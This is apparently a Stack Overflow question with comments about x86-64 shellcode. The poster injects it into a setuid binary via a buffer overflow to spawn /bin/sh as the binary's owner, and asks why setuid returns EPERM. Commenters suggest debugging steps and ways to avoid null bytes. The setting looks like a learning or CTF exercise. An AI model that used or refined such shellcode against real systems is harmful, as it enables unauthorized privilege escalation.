1

I've got the following shellcode which I can convince a setuid binary to execute as the result of a buffer overflow:

push 1009 ; #owner_userid
pop rdi
push 105
pop rax
syscall ; #sys_setuid(1009)

xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall ; #sys_execve('/bin//sh')

This successfully spawns a shell, but when I run whoami in it, I get my own username rather than that of the binary's owner (with the user id #1009). How can I launch /bin/sh with the permissions of the setuid binary's owner?

Other details:

  • GDB shows that that sys_setuid(1009) is returning -1 EPERM to $rax
  • Running sys_getuid() in the shellcode returns my own UID (#1000) as does sys_geteuid
  • Running sys_setreuid(1009, 1009) also returns -1 EPERM to $rax
  • file <binary> outputs binary: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked so the binary definitely has setuid set
  • la -la gives: -rwsr-xr-x 1 target_user root 800118 Mar 1 13:40 binary
  • I'm technically limited to 34 bytes for the final shellcode, but that's not directly relevant to the general question here.
pavja2
  • 397
  • 3
  • 9
  • 20
  • 2
    Did you run gdb as root? Did you try strace instead? – Jester Jun 04 '21 at 13:02
  • @Jester strace would give the same info as gdb. tbh, I don't understand why you move all params to registers via stack? I might confuse something, but it seems to me, that you aren't transfering the address of the string "bin/bash" to %rdi, you transfering the stack pointer there. Are you sure you boot the shell??? – saidm Jun 04 '21 at 13:35
  • @saidm except with suid binaries where debugging and tracing may very well produce different results. As for your other remark, loading `rsp` is correct as the `/bin//sh` has just been pushed on the stack so `rsp` **is** its address. The registers are loaded via the stack because this is shellcode which means no zero bytes and optimizing for size. – Jester Jun 04 '21 at 13:44
  • 1
    aren't you missing `pop rax` after `push 105` ? It doesn't look like you are passing syscall number before the `syscall`. Or is it only a copy-paste error here? – Paweł Łukasik Jun 04 '21 at 13:59
  • @Jester Good point about the size optimization, didn't think about it. Regarding the strace - traced app will have the same eid as the strace user (unless stracke has suid afaik). Well, if rsp really points to the string (I am used to think that usually payload as strings/data are attached to the tail of the shellcode), then everything should be fine and bash should be called via targeted user perms. – saidm Jun 04 '21 at 13:59
  • 1
    @Jester Good idea with strace. When I replicate the scenario locally with strace, I do see the two system calls are getting made correctly but I still get the error code out of the setuid() call: ```setuid(1009) = -1 EPERM (Operation not permitted)``` ```execve("/bin//sh", NULL, NULL) = 0``` – pavja2 Jun 04 '21 at 14:12
  • 1
    @PawełŁukasik yes, it was a copy-paste error here, good catch. – pavja2 Jun 04 '21 at 14:15
  • You know `push 1009` doesn't fit in an imm8, and will contain a 0 byte, right? For numbers outside -128 .. +127 push imm / pop is no different from `mov edi, 1009`. (But larger and slower). You could `mov edi, ~1009` / `not edi`. – Peter Cordes Jun 04 '21 at 20:49

0 Answers0